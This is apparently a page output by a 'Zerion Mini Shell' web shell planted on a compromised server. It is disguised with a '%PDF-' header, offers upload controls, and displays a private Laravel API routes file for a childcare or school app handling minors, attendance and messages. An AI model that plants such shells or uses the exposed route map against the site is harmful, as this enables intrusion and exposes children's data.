%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/camillo/camillo-api-master/routes/
Upload File :
Create Path :
Current File : /var/www/html/camillo/camillo-api-master/routes/api.php

<?php

use Illuminate\Http\Response;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/

Route::group(['prefix' => 'v1'], function () {
    //TODO remove
    // Route::get('test', 'Api\v1\HooksController@test');
    // Route::get('missed-test', 'Api\v1\HooksController@missedTest');

    Route::post('hooks/xcally', 'Api\v1\HooksController@xcally');
    Route::post('hooks/start-job/{id}', 'Api\v1\HooksController@startJob');
    Route::get('server-time', 'Api\v1\ServerController@currentTime');
    Route::post('check-token/', 'Api\v1\UserController@checkToken');
    Route::put('password', 'Api\v1\UserController@tokenChangePassword');
    Route::get('logout', 'Api\v1\LogoutController@logout');
    Route::post('lost-password', 'Api\v1\UserController@lostPassword');
    Route::get('minor/{minor}/calendar/{month}/{year}', 'Api\v1\MinorController@monthCalendar')
        ->where(['month' => '[0-9]|1[0-2]?', 'year' => '20[1-9]\d']);

    Route::group(['prefix' => 'user', 'middleware' => 'user-type:any'], function() {
        Route::get('info', 'Api\v1\UserController@getUserInfo');
        Route::put('password', 'Api\v1\UserController@changePassword');
        Route::put('profile', 'Api\v1\IndividualController@updateProfile');
        Route::post('classrooms/{classroom}/actions/chat', 'Api\v1\ClassroomChatController@store');
        Route::get('communications/{id}/in', 'Api\v1\CommunicationsController@show');
        Route::get('communications/{uuid}/out', 'Api\v1\CommunicationsController@showSent');
        Route::put('communications/{id}', 'Api\v1\CommunicationsController@update');
        Route::delete('communications/{id}', 'Api\v1\CommunicationsController@destroy');
    });

    Route::group(['prefix' => 'tutor', 'middleware' => 'user-type:tutor'], function () {
        //TODO eliminare dopo la fiera
        // Route::post('emergency-call', 'Api\v1\HooksController@emergencyCall');

        Route::get('family/minor/{minor}', 'Api\v1\IndividualController@getFamilyByMinor');
        Route::put('family/minor/{minor}/individual/{individual}', 'Api\v1\IndividualController@updateFamilyMember');

        Route::post('family/minor/{minor}/search', 'Api\v1\IndividualController@searchIndividualByFiscalCode');
        Route::post('family/minor/{minor}/associate', 'Api\v1\IndividualController@createAndAssociateIndividualToMinor');
        Route::post('family/minor/{minor}/individual/{individual}/associate', 'Api\v1\IndividualController@associateIndividualToMinor');


        Route::get('minor/{minor}', 'Api\v1\MinorController@show');
        Route::get('minor/{minor}/classroom/{classroom}', 'Api\v1\MinorController@showMinorClassroom');
        Route::get('minors', 'Api\v1\MinorController@indexByIndividual');
        Route::put('minor/{minor}', 'Api\v1\MinorController@update');

        Route::get('arrival-exception/minor/{minor}/classroom/{classroom}', 'Api\v1\ArrivalExceptionController@index');
        Route::post('arrival-exception/minor/{minor}/classroom/{classroom}', 'Api\v1\ArrivalExceptionController@store');
        Route::put('arrival-exception/{arrivalException}', 'Api\v1\ArrivalExceptionController@update');
        Route::delete('arrival-exception/{arrivalException}', 'Api\v1\ArrivalExceptionController@destroy');

        Route::get('absences/minor/{minor}/classroom/{classroom}', 'Api\v1\AbsenceController@index');
        Route::post('absence/minor/{minor}/classroom/{classroom}', 'Api\v1\AbsenceController@store');
        Route::post('absence/minor/{minor}/classroom/{classroom}/schedule', 'Api\v1\AbsenceController@schedule');
        Route::put('absence/{absence}', 'Api\v1\AbsenceController@update');
        Route::delete('absence/{absence}', 'Api\v1\AbsenceController@destroy');

        Route::post('qr/arrived', 'Api\v1\EventController@qrArrived');
        Route::post('qr/left', 'Api\v1\EventController@qrLeft');
        Route::post('qr/scan', 'Api\v1\EventController@qrToggle');

        Route::get('qr/daily_log/minor/{minor}/date/{year}/{month}/{day}', 'Api\v1\MinorController@qrDailyLog');
        Route::get('communications/in', 'Api\v1\TutorCommunicationsController@index');
        Route::get('communications/out', 'Api\v1\TutorCommunicationsController@messagesSent');
        Route::get('communications/count', 'Api\v1\TutorCommunicationsController@count');
        Route::post('communications', 'Api\v1\TutorCommunicationsController@store');
    });

    Route::group(['prefix' => 'teacher', 'middleware' => 'user-type:teacher'], function () {
        Route::get('classrooms/{classroom}/events', 'Api\v1\EventController@show');
        Route::post('confirm_presence/classroom/{classroom}/minor/{minor}', 'Api\v1\EventController@confirmPresence');
        Route::post('confirm_left/classroom/{classroom}/minor/{minor}', 'Api\v1\EventController@confirmLeft');
        Route::post('confirm_absence/classroom/{classroom}/minor/{minor}', 'Api\v1\EventController@confirmAbsence');
        Route::get('classrooms', 'Api\v1\ClassroomController@indexByInstitute');
        Route::get('classroom/{classroom}/minors/', 'Api\v1\MinorController@indexByClassroom');
        Route::get('classroom/{classroom}/minors/rollcall', 'Api\v1\MinorController@indexRollCallByClassroom');
        Route::get('classroom/{classroom}/minors/presents', 'Api\v1\MinorController@indexPresentByClassroom');
        Route::get('minors', 'Api\v1\MinorController@indexByTeacher');
        Route::get('minor/{minor}', 'Api\v1\MinorController@show');
        Route::get('communications/in', 'Api\v1\CommunicationsController@index');
        Route::get('communications/out', 'Api\v1\CommunicationsController@messagesSent');
        Route::get('communications/count', 'Api\v1\CommunicationsController@count');
        Route::get('communications/receivers/{classroomId}', 'Api\v1\CommunicationsController@receivers');
        Route::post('communications', 'Api\v1\CommunicationsController@store');
        // Route::put('reset-absences', 'Api\v1\AbsenceController@resetAbsences');
    });

});

Zerion Mini Shell 1.0